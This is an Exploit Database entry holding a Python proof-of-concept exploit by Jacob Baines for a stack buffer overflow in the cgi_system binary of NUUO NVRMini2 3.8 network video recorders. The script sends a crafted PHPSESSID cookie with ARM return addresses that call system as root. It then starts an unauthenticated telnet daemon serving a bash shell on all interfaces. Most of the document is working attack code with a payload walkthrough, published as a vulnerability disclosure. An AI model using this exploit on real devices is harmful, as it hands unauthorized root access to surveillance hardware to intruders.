NUUO NVRMini2 3.8 – ‘cgi_system’ Buffer Overflow (Enable Telnet)

Exploit Database
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作者： Jacob Baines

日期： 2018-09-18
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/45427/

# Exploit Title: NUUO NVRMini2 3.8 - 'cgi_system' Buffer Overflow (Enable Telnet)

# Date: 2018-09-17

# Exploit Author: Jacob Baines

# Vendor Homepage: https://www.nuuo.com/

# Device: NRVMini2

# Software Link: https://www.nuuo.com/ProductNode.php?node=2

# Versions: 3.8.0 and below

# Tested Against: 03.07.0000.0011 and 03.08.0000.0005

# Tested on: Ubuntu and OSX

# CVE: N/A

# TRA: https://www.tenable.com/security/research/tra-2018-25

# Description:

# A stack buffer overflow exists in the cgi_system binary. The error occurs

# due to lack of bounds checking on the PHPSESSID value before and when

# it is passed to sprintf in order to generate the session id file name.

# As written, this exploit enables Telnet.

# Executes a command via the stack buffer overflow in cookie parsing. The command

# is executed via 'system' as root. The overlow logic is like so:

# address 1: 405e2e34 - load system into r3 and address 2 into lr

# .text:000D0E34 0F 48 BD E8 LDMFD SP!, {R0-R3,R11,LR}

# .text:000D0E38 1E FF 2F E1 BXLR

# address 2: 406037cc - load the system command into r0. Jump to system.

# .text:000F17CC 0D 00 A0 E1 MOV R0, SP

# .text:000F17D0 33 FF 2F E1 BLX R3

# [ address 1][ r0 ][r1][r2][r3 system ][r11 ][LR - addr2][ system command ]

# \x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40touch /tmp/lolwat

# PoC

import requests

import socket

import sys

def stack_buffer_overflow(command, ip, port):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print '[+] Executing %s on %s:%s...' % (command, ip, port)

sock.connect((ip, int(port)))

exec_request = ('GET /cgi-bin/cgi_system?cmd=portCheck HTTP/1.1\r\n' +

'Host: ' + ip + ':' + port + '\r\n' +

'Accept: */*\r\n' +

'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' +

'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' +

'\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command +

'\r\n\r\n')

sock.sendall(exec_request)

data = sock.recv(1024)

sock.close()

# We should get a 500 Internal error in response

return data.find('500') != -1

# Quickly tries to grab the version of the target. If the target is

# using anything other than 3.7 or 3.8 then we'll bail out since

# haven't tested on any other targets

def check_target(ip, port):

index = requests.get('http://' + ip + ':' + port + "/upgrade_handle.php?cmd=getcurrentinfo")

return (index.text.find('<Titan>03.08') != -1 or index.text.find('<Titan>03.07') != -1)

if __name__ == "__main__":

if (len(sys.argv) != 3):

print "Usage: python nvrmini2_enable_telnet.py <ipv4 address> <port>"

sys.exit(1)

ip = sys.argv[1]

port = sys.argv[2]

if int(port) > 65535:

print('[-] Invalid port parameter')

sys.exit(0)

if len(ip.split('.')) != 4:

print('[-] Invalid IP address parameter')

sys.exit(0)

print '[+] Checking for a valid target...'

if (check_target(ip, port) == False):

print('[-] The target is not a NVRMini2 or its using an untested version.')

sys.exit(0)

print '[+] Valid target!'

if (stack_buffer_overflow('mount -t devpts devpts /dev/pts', ip, port) == False):

print('[-] Mount failed')

sys.exit(0)

if (stack_buffer_overflow('/bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"&', ip, port) == False):

print('[-] telnetd bind failed')

sys.exit(0)

print('[+] Success!')